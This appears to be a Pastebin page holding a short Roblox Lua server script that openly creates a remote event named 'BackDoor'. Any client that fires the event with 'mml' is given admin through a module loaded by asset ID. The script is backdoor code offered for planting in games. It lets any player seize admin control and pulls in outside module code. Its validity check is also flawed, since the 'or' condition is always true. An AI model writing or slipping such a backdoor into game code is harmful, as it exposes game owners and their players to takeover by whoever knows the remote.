Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local ReplicatedStorage = game:GetService("ReplicatedStorage")
- local backdoorRemote = Instance.new("RemoteEvent", ReplicatedStorage) -- creates a remote in replicated storage called BackDoor
- backdoorRemote.Name = "BackDoor"
- local function playerExecute(player, a) -- this function is called when someone runs the backdoor
- if a == "mml" or "etc" then -- checks if the backdoor's "execution option" is valid
- print(player.Name, " executed a backdoor script, ", a)
- if a == "mml" then -- checks if the option is "mml"
- require(520532182).giveAdmin(player.Name) -- gives player mml admin
- end
- if a == "etc" then -- change 'etc' to whatever you want another option to be.
- end
- else
- print("@", player.Name, ", incorrect backdoor option") -- prints to console that it is a invalid backdoor execution option option
- end
- end
- backdoorRemote.OnServerEvent:Connect(playerExecute) -- makes it so when the backdoor is run, the function above runs as well
Add Comment
Please, Sign In to add comment